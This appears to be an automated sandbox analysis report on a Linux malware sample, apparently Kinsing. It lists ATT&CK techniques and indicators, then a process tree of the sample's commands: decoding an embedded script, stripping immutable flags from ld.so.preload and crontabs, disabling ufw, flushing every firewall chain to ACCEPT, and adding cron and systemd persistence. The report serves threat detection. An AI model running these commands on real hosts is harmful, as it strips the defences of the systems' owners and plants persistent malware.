c77dd74c03e3a08e2b436952a52427f23b803488b9036890b11ced72e6b6ee2b

execution persistence privilege_escalation

description	ioc	Process
File opened for modification	/etc/ld.so.preload	bash

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1873	chmod
1878	chmod
1880	chmod
1886	chmod
1510	chmod
1862	chmod
1887	chmod
1853	chmod
1855	chmod
1860	chmod
1871	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/kinsing	1888	bash

Flushes firewall rules 1 TTPs 2 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
1694	iptables
1517	ufw

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1523	modprobe

Creates/modifies Cron job 1 TTPs 51 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Vh31hE	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.mr4SBb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.16bEEx	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.R7tNlV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.8BXlcZ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ezut88	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.O7kDsf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VRn7tf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.MM2pzA	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.S6h5rO	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ECGq8T	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Y06Mql	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.2N87Cm	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.0UrjsK	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.aph7BR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.88ILBW	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.llkgW2	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.RfCaLb	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.FbP3fe	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.kumjFv	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.5OUEtk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fEZzkA	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.v0ciLS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.xg6Go4	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.V5IE0c	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.cPlDUx	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.TtP2HB	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.yUvSxF	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.c9DWXH	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.nZ9MLG	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ZLjx8P	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WSX8n1	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.iBf893	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.DIVKCu	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EC9zcf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.dxXvJn	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.BhSihp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gbeNaz	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VN124X	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.0sxfi6	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.5emxx5	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7wBfrr	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.iZzhNL	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Pmiy8N	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.QEWamd	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.BdhBvJ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.LKSiFL	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.woINrs	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OTjmIc	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.dxUaMi	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ARJIXn	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/bot.service	bash

Removes the immutable protection flag from a file 1 TTPs 64 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1616	ip6tables
1623	ip6tables
1656	ip6tables
1688	ip6tables
1543	iptables
1734	xargs
1555	iptables
1599	iptables
1803	xargs
1808	xargs
1746	xargs
1542	iptables
1544	iptables
1619	ip6tables
1651	ip6tables
1728	xargs
1541	iptables
1573	iptables
1604	iptables
1624	ip6tables
1625	ip6tables
1511	chattr
1848	xargs
1574	iptables
1779	xargs
1785	xargs
1532	iptables
1621	ip6tables
1648	ip6tables
1652	ip6tables
1515	chattr
1536	iptables
1576	iptables
1607	iptables
1653	ip6tables
1668	ip6tables
1704	xargs
1740	xargs
1791	xargs
1521	ufw-init
1567	iptables
1575	iptables
1655	ip6tables
1657	ip6tables
1572	iptables
1685	ip6tables
1716	xargs
1843	xargs
1540	iptables
1571	iptables
1721	xargs
1820	xargs
1535	iptables
1680	ip6tables
1781	xargs
1787	xargs
1516	chattr
1620	ip6tables
1636	ip6tables
1654	ip6tables
1570	iptables
1587	iptables
1622	ip6tables
1709	xargs

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1508	base64

Discovers running processes 1 TTPs 8 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
1717	ps
1775	ps
1799	ps
1804	ps
1844	ps
1700	ps
1705	ps
1712	ps

Reads CPU attributes 1 TTPs 50 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/module/ip6_tables/initstate	modprobe
File opened for reading	/sys/module/x_tables/initstate	modprobe

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/1094/cmdline	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/98/cmdline	ps
File opened for reading	/proc/474/status	pkill
File opened for reading	/proc/1537/status	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/1140/status	ps
File opened for reading	/proc/202/cmdline	ps
File opened for reading	/proc/166/cmdline	ps
File opened for reading	/proc/916/cmdline	pkill
File opened for reading	/proc/167/cmdline	pkill
File opened for reading	/proc/169/cmdline	pkill
File opened for reading	/proc/732/cmdline	pkill
File opened for reading	/proc/938/status	ps
File opened for reading	/proc/1062/cmdline	ps
File opened for reading	/proc/160/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/159/status	pkill
File opened for reading	/proc/972/status	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/202/status	ps
File opened for reading	/proc/175/status	ps
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/168/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/1073/cmdline	pkill
File opened for reading	/proc/1099/cmdline	pkill
File opened for reading	/proc/169/status	pkill
File opened for reading	/proc/1049/status	pkill
File opened for reading	/proc/1803/cmdline	ps
File opened for reading	/proc/164/status	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/482/cmdline	pkill
File opened for reading	/proc/614/status	pkill
File opened for reading	/proc/665/cmdline	pkill
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/160/cmdline	pkill
File opened for reading	/proc/83/status	pkill
File opened for reading	/proc/1276/cmdline	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/1173/stat	ps
File opened for reading	/proc/414/status	ps
File opened for reading	/proc/1140/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/314/status	pkill
File opened for reading	/proc/203/status	pkill
File opened for reading	/proc/614/cmdline	pkill
File opened for reading	/proc/25/cmdline	ps
File opened for reading	/proc/485/status	pkill
File opened for reading	/proc/1503/status	pkill
File opened for reading	/proc/177/cmdline	pkill
File opened for reading	/proc/1099/status	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/1308/cmdline	pkill
File opened for reading	/proc/172/status	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/243/cmdline	pkill
File opened for reading	/proc/1471/status	pkill
File opened for reading	/proc/35/status	ps
File opened for reading	/proc/668/cmdline	pkill
File opened for reading	/proc/996/status	pkill
File opened for reading	/proc/909/cmdline	pkill
File opened for reading	/proc/1353/status	pkill

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1523	modprobe
1995	sed

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tmp.5mKpJbLm4h/embedded.sh	bash

/tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
/tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:1505

/usr/local/sbin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:1505

/usr/local/bin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:1505

/usr/sbin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:1505

/usr/bin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:1505

/sbin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
PID:1505

/bin/bash
bash /tmp/b81dbc2439873d2a76e44b22c55251243ed2fa6077a7dbfd00a30a7d635ad9a4_pre-append.sh
1⤵
- Writes file to tmp directory
PID:1505
- /bin/mktemp
  mktemp -d
  2⤵
  PID:1506
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1508
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:1509
- /bin/chmod
  chmod +x /tmp/tmp.5mKpJbLm4h/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1510

/bin/bash
bash /tmp/tmp.5mKpJbLm4h/embedded.sh
1⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Modifies systemd
PID:1505
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  - Removes the immutable protection flag from a file
  PID:1511
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:1514
- /usr/bin/chattr
  chattr -R -i /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:1515
- /usr/bin/chattr
  chattr -i /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:1516
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1517
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    PID:1520
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    - Removes the immutable protection flag from a file
    PID:1521
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1522
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        System Network Configuration Discovery
        
        PID:1523
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1527
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1530
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1531
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1532
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1533
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1534
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1535
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1536
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1540
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1541
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1542
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1543
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1544
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      PID:1545
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1546
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1548
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1550
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1551
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1552
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1553
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1555
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1556
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1557
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1558
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1562
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1563
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1565
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1566
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1567
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1568
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1570
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1571
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1572
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1573
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1574
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1575
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1576
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1577
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1578
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1579
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      PID:1580
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      PID:1581
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1582
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1583
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1584
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1585
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1586
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1587
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1588
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1589
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1590
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1591
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      PID:1592
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1593
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1594
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1595
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1596
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1597
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1598
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1599
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1600
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1601
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1602
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1603
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1604
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1605
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1606
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1607
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1608
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1609
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1610
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1611
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1612
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      PID:1613
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1614
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1615
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1616
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1617
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1618
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1619
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1620
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1621
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1622
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1623
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1624
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1625
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1627
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1629
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1631
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1632
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1633
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      PID:1634
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1635
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1636
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1637
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1638
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1639
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1640
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1641
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1642
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1643
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1644
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1645
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1647
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1648
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1649
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1650
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1651
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1652
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1653
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1654
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1655
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1656
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1657
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1658
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1659
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1660
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1661
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      PID:1662
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1663
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1664
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1665
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1666
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1667
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1668
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1669
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      PID:1670
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1671
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1672
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1673
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1674
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      PID:1675
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1676
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1677
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1678
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1679
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      Removes the immutable protection flag from a file
      PID:1680
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1681
